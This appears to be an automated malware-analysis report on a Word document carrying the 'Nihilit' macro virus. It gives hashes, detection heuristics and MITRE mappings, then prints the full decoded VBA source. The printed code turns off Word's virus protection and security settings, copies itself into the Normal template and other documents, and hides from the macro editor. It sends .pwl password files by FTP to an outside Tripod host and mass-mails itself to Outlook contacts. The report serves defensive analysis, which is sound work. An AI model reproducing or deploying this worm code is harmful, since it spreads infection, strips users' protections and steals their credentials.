Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0e20e88746dc459f…

MALICIOUS

Office (OLE)

52.0 KB Created: 2001-04-25 17:17:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 88143363832bfab59ea14b1b45e3fb93 SHA-1: 65d06e4b47122c349bd35bb42a330082f9954dba SHA-256: 0e20e88746dc459f68521fd177f75119e7cfea8d19a89c730ac845d5f9e47aab
418 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This document contains legacy WordBasic macro markers and critical VBA heuristics indicating the use of Shell() and CreateObject(), along with disabling security settings. The AutoClose macro attempts to infect other documents by exporting its VBA code to 'C:\Windows\Nihilit.drv' and then importing it into the NormalTemplate. It also attempts to steal passwords via FTP, though this functionality is truncated. The presence of legacy WordBasic markers and the specific infection method suggest a known, albeit older, malware pattern.

Heuristics 10

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    shell "ftp http://members.tripod.com/Nihilit/"
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                .VirusProtection = False
  • VBA email-worm self-replication (Outlook mass-mailer) critical OLE_VBA_EMAIL_WORM_SELF_REPLICATION
    VBA macro drives Outlook to mass-mail itself: it automates Outlook.Application, programmatically creates a mail item, and spreads by harvests recipients from the MAPI address book / inbox, attaches a file to the outgoing message, sends the message programmatically. Harvesting recipients from the address book / inbox and auto-attaching the carrier to outgoing messages is the defining behavior of the Melissa / LoveLetter / W97M mass-mailer worm lineage — there is no benign document use, independent of any AV signature.
    Matched line in script
        Set Ni_msg = Ni_OApp.CreateItem(0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set Ni_OApp = CreateObject("Outlook.Application")
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Ni_msg.Attachments.Add Environ("WINDIR") & "\Nihilit.doc"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://m(emb��.�xpo�d.�j/DU/ In document text (OLE body)
    • http://members.tripod.com/Nihilit/A@fIn document text (OLE body)
    • http://members.tripod.com/Nihilit/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4369 bytes
SHA-256: aaa5df437abd560f45f06ede4c707f67e9b535cceddf0bcdba400dcc9fd44039
Detection
ClamAV: Doc.Trojan.Hilite-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Nihilit"

Sub AutoClose()
    On Error Resume Next
' Nihilit v2.0 by Necronomikon |[ShadowvX],[Devilport-Systems]
' thanks WalruS for code and help
    Call Nihilit
End Sub
Sub Nihilit()
    On Error Resume Next
        With Options
            .VirusProtection = False
            .ConfirmConversions = False
            .SaveNormalPrompt = False
        End With
    Application.DisplayAlerts = wdAlertsNone
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.VBComponents.Item("Nihilit").Name <> "Nihilit" Then
    ActiveDocument.VBProject.VBComponents("Nihilit").Export ("C:\Windows\Nihilit.drv")
    SetAttr "C:\Windows\Nihilit.drv", 6
    End If
    Call InfectDocument
    If Month(Now) = Day(Now) Then Call Pwdstealer
    NormalTemplate.Saved = True
    End Sub

Sub InfectDocument()
    On Error Resume Next
    If ActiveDocument.VBProject.VBComponents.Item("Nihilit").Name <> "Nihilit" Then
    ActiveDocument.VBProject.VBComponents.import ("C:\Windows\Nihilit.drv")
    ActiveDocument.Save
    End If
End Sub

Sub Pwdstealer()
    On Error Resume Next
'thanks to Fallen Angel for this code!
    With Application.FileSearch
.FileName = "*.pwl"
.LookIn = "c:"
.Execute
For i = 1 To .FoundFiles.Count
shell "ftp http://members.tripod.com/Nihilit/"
shell "nihilit"
shell "killer"
shell "post" & .FoundFiles(i)
shell "bye"
Next i
End With
End Sub

Sub ToolsOptions()
    On Error Resume Next
    Options.VirusProtection = 1
    Options.SaveNormalPrompt = 1
    Dialogs(wdDialogToolsOptions).Show
    Options.VirusProtection = 0
    Options.SaveNormalPrompt = 0
End Sub

Sub ToolsSecurity()
On Error Resume Next
CommandBars("Macro").Controls("Security...").Enabled = True
Dialogs(wdDialogToolsSecurity).Show
CommandBars("Macro").Controls("Security...").Enabled = False
End Sub

Sub FileTemplates()
End Sub

Sub ToolsMacro()
    Call Stealth
    Dialogs(wdDialogToolsMacro).Display
End Sub

Sub ViewVBCode()
    Call Stealth
    ShowVisualBasicEditor = True
End Sub

Sub Stealth()
    On Error Resume Next
    Application.OrganizerDelete Source:=NormalTemplate.Name, _
    Name:="Nihilit", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerDelete Source:=ActiveDocument.Name, _
    Name:="Nihilit", Object:=wdOrganizerObjectProjectItems
    NormalTemplate.Saved = True
    ActiveDocument.Saved = True
End Sub
Sub HelpAbout()
WordBasic.FileNew
    WordBasic.ToggleFull
    WordBasic.DocMaximize
    WordBasic.Font "Comic Sans MS"
    WordBasic.FontSize 60
    WordBasic.Bold
    WordBasic.Insert "Check this!"
    WordBasic.StartOfLine
    WordBasic.CharRight 1, 1
    WordBasic.FormatFont Points:="48", Color:=6
    WordBasic.EndOfLine
    WordBasic.InsertPara
    WordBasic.InsertPara
    WordBasic.FontSize 48
    WordBasic.Insert "Nihilit was coded by Necronomikon."
End Sub
Sub FileExit()
    On Error Resume Next
    Call Nihilit
    If ActiveDocument.Saved = False Then
    ActiveDocument.SaveAs FileName:="C:\Windows\Nihilit.doc", FileFormat:=wdFormatDocument
    Set Ni_OApp = CreateObject("Outlook.Application")
    Set Ni_Mapi = Ni_OApp.GetNameSpace("MAPI")
    For Each Ni_AddList In Ni_Mapi.AddressLists
    Next
    End If
    If Ni_AddList.AddressEntries.Count <> 0 Then
    For Ni_AddListCount = 1 To Ni_AddList.AddressEntries.Count
    Next
    Set Ni_AddListEntry = Ni_AddList.AddressEntries(Ni_AddListCount)
    Set Ni_msg = Ni_OApp.CreateItem(0)
    Ni_msg.To = Ni_AddListEntry.Address
    Ni_msg.Subject = "Check this!!!"
    Ni_msg.Body = "I like this story!!!;o)." + vbCrLf + "Nihilit"
    Ni_msg.Attachments.Add Environ("WINDIR") & "\Nihilit.doc"
    Ni_msg.DeleteAfterSubmit = True
    End If
    If Ni_msg.To <> "" Then
    Ni_msg.Send
    End If
    Application.Quit
End Sub

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